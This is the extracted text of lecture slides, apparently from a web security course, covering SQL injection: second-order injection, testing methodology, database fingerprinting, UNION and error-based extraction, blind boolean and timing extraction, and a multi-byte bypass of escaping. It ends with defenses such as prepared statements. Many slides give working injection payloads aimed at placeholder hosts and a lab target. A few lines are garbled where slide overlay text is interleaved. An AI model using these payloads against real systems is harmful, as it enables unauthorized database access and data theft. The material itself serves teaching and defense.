$name = query(“select username from users where id=$id”)
●
malicious user record is already in the database, was entered on signup form
○ Username is crafted to be stored SQLi
...
$options = query(“select * from user_opion where user_name=$name”)
●
2nd order injection is through the $name parameter here
Types of 2nd-order SQLi
SQL Injection Vulnerabilities
In-band
Append based
(Union)
Error based
Out-of-band
Response-Content
based
(Partial-blind)
Response-time
based
(Full-blind)
The second order injection process always involves
1. crafting a secondary injection and
2. finding a trigger which causes the secondary injection to be injected (if
applicable).
The trigger is always a part of the vulnerable application, and in some
cases is activated by the same page as the initial injection point.
Many vulnerabilities that appear to be partial-blind injection are actually
vulnerable to in-band second order injection.
SQLi Attack Methodology
1. Identify SQLi attack vectors
➢ Know how to detect all types
2. Explore the limitations of each case
➢ error based?
➢ Union allowed?
➢ blind based (out-of-band)?
3. Enumerate allowed metacharacters
➢ syntax chars, white spaces, quotes, semicolons, …
➢ attempt to bypass any filters / countermeasures
4. Enumerate / Map the Database tables
5. Extract Data
SQL Vulnerability Scanners
HATT’s Framework
error, union, blind-enumeration(full + partial),
blind-multi-bit-extraction(full + partial), 2nd order (all)
havij
union
absinthe
blind-enumeration
mieliekoek.pl
error
acunetix
error, union, blind-enumeration(full+partial)
wpoison
error
sqlmap
Union, error, blind-enumeration
wapiti
error
w3af
error, blind-enumeration
paros
error, blind-enumeration
sqid
error
Testing for SQLi
vectors
Both In-band and Out-of-band
(THIS IS ON THE EXAM!)
Testing for Each type of SQLi
SQL Injection Vulnerabilities
In-band
Append based
(Union)
Error based
Out-of-band
Response-Content
based
(Partial-blind)
Response-time
based
(Full-blind)
When it comes to difficulty, testing each input for a SQL injection
vulnerability can vary wildly. Target environment, configuration, and
security may raise obstacles to vector discovery & testing.
Append-based testing: Testing for any UNION operations by altering where-clause statements
Error-based testing: Test for syntax errors, more specific errors, and try to manipulate errors
(blind) Response-based testing: injecting boolean statements to vary content response slightly
(blind) Response-time testing: Injecting sleep statements to vary response time
Be Aware of Constraints/Limits
Many things may be filtered or otherwise
constrained. Thus one may have to:
●
●
●
●
Enumerate valid whitespace / escape chars
Enumerate valid comparison chars
Enumerate valid mathematical chars
Perform remote type checking
These tasks are best accomplished in isolated
tests, AKA Isolation Stripping.
● Exhaustively testing inputs for which metachars are
stripped away from the vector, one metachar at a time.
○ Then keep track of what is stripped.
Traditional Methods
string based SQLi detection:
●
string terminator syntax chars:
○ ‘
○ “
○ and equivalents in all the [allowed] languages
Integer based:
●
●
Other integers, negatives, or huge numbers
and/or string terminators (to trigger syntax error)
A universal error-based SQLi test string is provided
below:
'"$$`><!--L;a
Towards Procedural Testing
Generally speaking, most of the "boolean" tests
that can confirm vulnerability in "where" clause
injections are formatted like so:
[esc
ape
sequ
ence
][ wh
itesp
ace]
[con
ditio
nal o
pera
tor][
whit
espa
ce][c
omp
ariso
n][qu
ery t
This is appended
erm
inato
r][es
to the existing value of a target variable cape sequence
]
Escape chars don’t apply for integer vars.
Towards Procedural Testing
[escape sequence][whitespace][conditional operator][whitespace][comparison][query terminator][escape sequence]
Example:
http://domain.tld/vulnerable.ext?id=1[escape sequence][whitespace][conditional
operator][whitespace][comparison][query terminator][escape sequence]
Example:
http://domain.tld/file.ext?id=1 and 1=1
…
http://domain.tld/file.ext?id=1 and 1=2
Solving for this equation
[escape sequence][whitespace][conditional operator][whitespace][comparison][query terminator][escape sequence]
Metacharacter/Syntax-char injection:
● escape sequences
● white spaces
● parenthesis
● mathematical operators
● syntax bare words
● ...
Many syntax characters are filtered.
● testing can discover what the filters are.
Solving for this equation
[escape sequence][whitespace][conditional operator][whitespace][comparison][query terminator][escape sequence]
Metacharacter/Syntax-char injection:
● escape sequences (many options)
○ escaping sting types
■ ‘ or “
○ Not a problem for integers
What about when escape sequences are
filtered?
● mysql_real_escape_string()
Solving for this equation
[escape sequence][whitespace][conditional operator][whitespace][comparison][query terminator][escape sequence]
Q: What about when escape sequences are
escaped?
● Like via mysql_real_escape_string()
○
The escape character (\ or 0x5c) is used by many sanitizing
functions to "escape" quotations
A: Multi-byte character encodings
(when UTF-8 is not used)
●
http://howto.hackallthethings.com/2016/06/using-multi-byte-c
haracters-to-nullify.html
Solving for this equation
[escape sequence][whitespace][conditional operator][whitespace][comparison][query terminator][escape sequence]
Multi-byte character encodings
●
The following list of character sets are known to have
multi-byte character ending in escape (/x5c)
○
○
○
○
○
○
○
○
Big5
■ Used in Taiwan, Hong Kong, and Macau for "Traditional Chinese"
HKSCS
■ Hong Kong's Big5 Supplementary Character Set
CP932
■ Windows-31J (Japanese)
CP950
■ Microsoft's implementation of Big5
GB18030
■ Chinese National Character Set
GBK
■ Simplified Chinese
JOHAB
■ Korean Legacy Encoding
SHIFT_JIS
■ Shift Japanese Industrial Standards
Solving for this equation
[escape sequence][whitespace][conditional operator][whitespace][comparison][query terminator][escape sequence]
Q: How to enumerate white space
metacharacters?
There are many options:
(True) and null is null
domain.tld/vulnerable.ext?id=1%20%0a%0d%09%2f%2a%2a%2fand%20%0a%0d%09%2f%2a%2a%2fnull%20%0a
%0d%09%2f%2a%2a%2fis%20%0a%0d%09%2f%2a%2a%2fnull
(False) and null is not null
domain.tld/vulnerable.ext?id=1%20%0a%0d%09%2f%2a%2a%2fand%20%0a%0d%09%2f%2a%2a%2fnull%20%0a
%0d%09%2f%2a%2a%2fis%20%0a%0d%09%2f%2a%2a%2fnot%20%0a%0d%09%2f%2a%2a%2fnull
Note: use of so many syntax characters in a
single request may trigger IDS flags
Solving for this equation
[escape sequence][whitespace][conditional operator][whitespace][comparison][query terminator][escape sequence]
Metacharacter/Syntax-char injection:
● Conditional operators
○
and , or, &&, ||, etc…
● Parenthesis (duh)
● mathematical operators
○
+, -, --, ++, ^, %, *, /, >>, <<, |, &, =, etc
● Comparison operators
○
○
○
>, <, <=, >=, ==, eq, is, !=, etc
IS, IS NOT, LIKE, NOT LIKE, BETWEEN … and … , etc
rlike, not rlike, regexp, not regexp
● Also syntax bare words:
○
UNION, WHERE, DIV, MOD, EQ, IS, NULL, etc…
Universal Tests
A universal test string to trigger syntax errors:
'"$$`><!--L;a
Blind SQLi Testing & fingerprinting:
http://howto.hackallthethings.com/2015/04/blind-sql-injectio
n-testing-and.html
Testing Process Lessons
1. Isolation Stripping tells you what is being
filtered. You can perform this both before
and after discovering a SQLi vector.
○ Results may change.
2. Test with isolation stripping results in hand.
○ Test multiple ways for each SQLi vuln type.
3. False-negatives in pentest reports are
harmful to the industry and customers.
○ Common with scanners
4. Do not rely solely on scanners. You should
be able to dive in manually on any vector.
Enumerating
/Mapping the
Database
What to do after
discovering a SQLi
vulnerability...
After testing
When initially accessing data via SQLi from a
database, there are critical details an attacker
can learn to expedite the attack:
● database server software
○ MySQL? Oracle? PgSQL? MSSQL?
○ Version
● database users
○ Permissions?
○ How many databases can the user access?
● Table names, columns, schemas
Database Fingerprinting
1. version() is a function shared by MySQL and
PostgreSQL to report DB version
2. @@version is a SQL variable shared by MicrosoftSQL
and MySQL to report DB version
Barring any of the syntax characters in the injection being
stripped, version can be determined as follows:
➢
➢
➢
➢
If both injections return true, the target is running MySQL Server.
If both injections return false, the target is running Oracle.
If the function test returns true while the variable test returns false, the
target is running PostgreSQL.
If the function test returns false while the variable test returns true, the
target is running Microsoft SQL Server.
Database Fingerprinting…
For Blind Vectors:
Examples:
http://domain.tld/file.ext?id=1 and version() is not null
http://domain.tld/file.ext?id=1 and @@version is not null
http://howto.hackallthethings.com/2015/04/blind-sql-inj
ection-testing-and.html
Get the table names
Most SQL Databases have a table in each
database called "information_schema", which is
always interesting.
● differs per DB type
● Can grab all table names and column names from it.
○ Once you know the DB type and version, this info is
easy to determine
Can use the following mysql SQLi to extract this info:
... UNION SELECT 1, group_concat(table_name,0x2e,column_name), 3, 4 from
information_schema.columns where table_schema=database()
Exploiting
In-Band SQL
Vulns
Error based
Union Select based
In-band Error Based
● Inserting syntax characters to trigger a SQL
syntax error
○ Inserting invalid data
● may tell you database version
○ based off response nuances
Problems:
(a) errors are logged and (b) error messages
have smaller size constraints than data sets
In-band Exploitation By Verbose
Errors
●
●
●
●
●
●
extractvalue() and xmlupdate() routines disclose query results in error
messages
Example: http://domain.tld/file.ext?id=extractvalue(concat(0x5c,version())
May reveal something like:
○ XPATH syntax error: '\5.6.26-log'
○ version() is the payload
Maximum length of return data is 32 bytes, 31 bytes after the backslash is
used to force an XPATH error.
This only works when verbose errors are enabled and php displays the
error messages
This is for mysql-only, other database servers require different functions to
return messages:
○ Mssql : cast(current_user as INT)
○ Pgsql : cast(current_user as NUMERIC)
In-band Exploitation By Verbose
Errors
●
●
●
●
●
●
extractvalue() and xmlupdate() routines disclose query results in error
messages
Example: http://domain.tld/file.ext?id=extractvalue(concat(0x5c,version())
U
O
Y
May reveal something like: HY
W'\5.6.26-log'
SE
O
S
I
B
○ XPATH syntax
error:
R
IS
E
H
V
T
E
e
○ version() is theBpayload
L
n
o
1
S! is 32 bytes, 31 bytes after the backslash is
R
Maximum length
data
DISofAreturn
O
ERR error.
used to force an XPATH
This only works when verbose errors are enabled and php displays the
error messages
This is for mysql-only, other database servers require different functions to
return messages:
○ Mssql : cast(current_user as INT)
○ Pgsql : cast(current_user as NUMERIC)
In-band Append (Union) based
Remember: All queries in a SQL statement
containing UNION operator must have an equal
number of expressions in their target lists
● A UNION B
○ must have the same # of columns.
Using this:
How to enumerate # of columns in tables?
In-band Union based Enumerating
Table’s # of columns
http://192.168.43.130/cat.php?id=1 UNION
This is integer based,
SELECT ALL 1-so no tick required
The used SELECT statements have a different number of columns
http://192.168.43.130/cat.php?id=1 UNION
SELECT ALL 1,2-The used SELECT statements have a different number of columns
http://192.168.43.130/cat.php?id=1 UNION
SELECT ALL 1,2,3-The used SELECT statements have a different number of columns
"The UNION SELECT ALL ...." part is a common SQLi trick
In-band Union based Enumerating
Table’s # of columns
http://192.168.43.130/cat.php?id=1 UNION
SELECT ALL 1,2,3,4-Success! we get a valid, populated webpage back
So this SQL statement has 4 columns. This
technique works when SQL error messages are
disabled (and Error-Based SQLi does not
work).
toying around with these params will reveal
what does what.
In-band Union based Enumerating
Table’s # of columns (order by)
Using order-by can bypass column type restriction errors:
● http://domain.tld/file.ext?id=1 order by 1
● http://domain.tld/file.ext?id=1 order by 2
● Etc…
When data no longer displays, you know you have hit a
column number out of range. The last number that works is
the number of columns.
● The “order by [int]” technique works on all common dbms
systems: Oracle, MySQL, PgSQL, and MS SQL.
● It is also possible to determine this using a “group by”
clause, sometimes “order by” doesn’t work if there’s
already an “order by” clause in the query.
In-band Union based Enumerating
Table’s # of columns
Next try unioning with other tables....
And so on...
http://192.168.43.130/cat.php?id=1 UNION
SELECT 1, database(), 2, 3
reveals database name == photoblog
http://192.168.43.130/cat.php?id=1 UNION
SELECT 1, user(), 2, 3
reveals database name ==
pentesterlab@localhost
http://192.168.43.130/cat.php?id=1 UNION
SELECT 1, @@version, 2, 3
reveals db version == 5.1.63-0+squeeze1
http://192.168.43.130/cat.php?id=1 UNION
SELECT 1, @@datadir, 2, 3
reveals the DB is stored in /var/lib/mysql/
Exploiting
Out-Of-Band
SQL Vulns
Partial Blind
Full Blind
Exploitation Techniques for
Out-of-Band SQLi
1. Enumeration
a. involves a massive amount of requests
2. Extraction
a. No other tools do this
b. Beats blind enumeration by orders of magnitude
Enumeration
Boolean enumeration is the process of using conditional
statements (true and false) to determine the value of a
byte.
● Just like testing process
○ The maximum value of any byte is 255 and the
minimum is 0.
○ There are 8 bits in one byte
○ A bit can be 1 or 0 (True or False)
Therefore, By asking no more than 8 true/false
questions, one should be able to determine the
value of a byte.
Enumeration Example
Following example explains extracting the MySQL DBMS
version:
Start with:
● http://domain.tld/file.ext?id=1 and ascii(mid(version(),1,1)) > 127
○ If the page displays, we know the ascii value is greater than
127
○ If it does not display, we know it is less than 127
The next injection may look like:
● http://domain.tld/file.ext?id=1 and ascii(mid(version(),1,1)) > 64
Once the value has been identified, increment the position argument in
the mid() parameter:
● http://domain.tld/file.ext?id=1 and ascii(mid(version(),2,1)) > 127
Even the most efficient form of this may take 8 requests per byte.
Enumeration
Following example explains extracting the MySQL DBMS
version:
Start with:
● http://domain.tld/file.ext?id=1 and ascii(mid(version(),1,1)) > 127
○ If the page displays, we know the ascii value is greater than
127
○ If it does not display, we know it is less than 127
Do this for all bytes
● http://domain.tld/file.ext?id=1 and ascii(mid(version(),1,1))
> 64
of target data.
extremely
Once the value has been identified, increment(It
theis
position
argument in
the mid() parameter:
noisy)
The next injection may look like:
● http://domain.tld/file.ext?id=1 and ascii(mid(version(),2,1)) > 127
Even the most efficient form of this may take 8 requests per byte.
Extraction
Bitwise extraction is the process of using mathematical
statements (bitshifting or division + modulo) to extract bits
of a byte.
● http://howto.hackallthethings.com/2016/07/extracting-m
ultiple-bits-per-request.html
Partial Blind
While data requested by an injection will not be displayed
in-band, the output of the page itself can still change.
● http://www.chokepoint.net/2013/08/using-mysql-locally-f
or-testing-sql.html
Full Blind
Timing extraction is performed by controlling (and
observing) the length of the response time itself.
● SQLi may ask the database server to sleep for the ascii
code of a desired byte in seconds,
○ then record how long (in seconds) the response
takes
SQLi Defenses
Preventing SQLi
Parameterized (AKA Prepared) Queries
● placeholders used for parameters
○ + The parameter values are supplied at execution
time.
● Libraries exist to facilitate it.
○ Must be done to all query inputs (even nested query
inputs)
■ TRUST NOTHING FROM THE USERS
○ PHP PDO:
https://secure.php.net/manual/en/ref.pdo-mysql.php
Example (php)
$dbh = new PDO('mysql:host=xxx;port=xxx;dbname=xxx', 'xxx',
'xxx', array( PDO::ATTR_PERSISTENT => true));
$stmt = $dbh->prepare(“select * from article where id=?”);
$stmt->execute(array($_GET[‘id’]));
$article = $stmt->fetch(PDO::FETCH_OBJ);
echo $article->title;
Tutorial on PHP PDO:
See https://secure.php.net/manual/en/pdo.prepared-statements.php
PHP PDO DRAWBACKS
DRAWBACK OF PDO (php) PARAMETERIZED QUERIES:
1.
●
●
2.
3.
No Array handling. Not compatible with IN clauses.
e.g.: ‘SELECT * from article where id IN($array)’
See Discussion:https://news.ycombinator.com/item?id=11980221
If improperly done: it ruins performance and offers NO
security
Autocommit is set to FALSE by default in current stable
version of php. INSERT statements will NOT commit by
default.
○ MUST us $stmt-> commit(); to enact changes.
○ Example:
$stmt = $dbh->prepare(“insert into article values (?,?,?)”);
$stmt->execute(array(null,”Title”, “body”);
$stmt->commit();
Explicit Type Casting (Non-PDO)
When manually typecasting and concatenating values into the query, the
results and the query are NOT cached by the native SQL caching
routines.
$id = abs((int)$_GET[‘id’]);
●
●
Absolute value is used to prevent a negative number from causing an SQL
Error
(int) explicitly typecasts the variable into an integer
$str = mysql_real_escape_string($_GET[‘str’]);
●
●
Works as long as the character set is set to the same in both the PHP
interpreter and the SQL database
See:
○
○
○
http://howto.hackallthethings.com/2016/06/using-multi-byte-characters-to-nullify.html ,
http://stackoverflow.com/questions/5741187/sql-injection-that-gets-around-mysql-real-esca
pe-string
But does not prevent things like:
$iId = mysql_real_escape_string("1 OR 1=1");
$sSql = "SELECT * FROM table WHERE id = $iId";
Other Mitigation Tips
For when you have search fields
●
●
LIKE (%) exploitation mitigation - a % could cause a DoS
Watch out for comma characters and newline characters on imploded
arrays
General Final Tips:
●
●
Always make sure display_errors is set to “off” to avoid information
disclosure
Set an extremely low query timeout to prevent multi-bit timing attacks
○
●
●
●
See http://howto.hackallthethings.com/2016/07/extracting-multiple-bits-per-request.html
If necessary, create multiple database users and restrict each page to
page-specific dbms permissions for that user (ACL’s)
Do NOT allow DBMS users to have create trigger, create function,
create procedure, or load plugin permissions, these can result in
backdoors and privilege escalation attacks
Limit host OS dbms process user privileges to prevent file I/O outside of
mysql_datadir (load_file and select … into outfile)
DEMO
TIME
WEB SERVER-SIDE APPLICATION
SECURITY CONCLUSION
We Covered the Following Server Side Attack Vectors:
●
●
●
●
●
●
●
Broken Authentication / Session Management
○ Lack of session management
○ Bad cookie / auth practices
■ Trusting users to tell you who they are
○ Not protecting auth cookies (lack of HTTPS)
Security Misconfiguration
○ Not locking down admin privileges / default settings
Insecure Direct Object Referencing
○ HTML objects, DB objects, PhP objects, etc…
○ Can overlap with Broken Auth
CSRF / XSRF
○ Lack of HTTPS, lack of XSS defense
Using known vulnerable components
○ Or not patching them
Directory Traversal
○ Allowing “..” and slash characters - always make sure this protection is recursive
○ See: https://nets.ec/Unsafe_string_replacement
SQL INJECTION
There are other attacks outside the scope here. Such as PHP Object Injection, web service
0-days, CMS plugin backdoors, LDAP Injection, File Inclusion, Rails Mass Assignment, etc
WEB SERVER-SIDE APPLICATION
SECURITY CONCLUSION
We Covered the Following Server Side Attack Vectors:
●
●
●
●
●
●
●
Broken Authentication / Session Management
○ Lack of session management
○ Bad cookie / auth practices
■ Trusting users to tell you who they are
○ Not protecting auth cookies (lack of HTTPS)WEB
BE A
Security Misconfiguration
O
T
T
WAN
○ Not locking down admin
privileges
/ default
N???settings ITH
I
M
D
A
SYS
UP W
Insecure Direct Object Referencing
P
E
E
O K etc…OPMENTS
T
○ HTML objects, DB objects,
PhP
objects,
E
V
U HAAuth TY DEVEL
YOBroken
!!!
○ Can overlap with
!
S
I
G
R
N
U
EC
THI
CSRF / XSRF
THE S OF THESE
H defenseSUCKS!
○ Lack of HTTPS, lack
ofCXSS
A
E
F
O
Using known vulnerable
components
HTTP
○ Or not patching them
Directory Traversal
○ Allowing “..” and slash characters - always make sure this protection is recursive
○ See: https://nets.ec/Unsafe_string_replacement
SQL INJECTION
There are other attacks outside the scope here. Such as PHP Object Injection, web service
0-days, CMS plugin backdoors, LDAP Injection, File Inclusion, Rails Mass Assignment, etc
FURTHER WEB APPLICATION
SERVER-SIDE SECURITY RESOURCES
● www.hackallthethings.com SQL Injection Workshop
(ETA Oct 2016)
○
http://howto.hackallthethings.com/search/label/sql%20injection
● https://nets.ec/Web_exploitation
● https://www.owasp.org/index.php/Category:OWASP_To
p_Ten_Project
● Useful reddit communities:
○
○
○
/r/blackhat,
/r/hackallthethings,
/r/sysadmin
● Reference manuals for DBMS’s and Scripting
Languages
○ http://php.net
○ http://dev.mysql.com/doc/refman/5.7/en/
THE END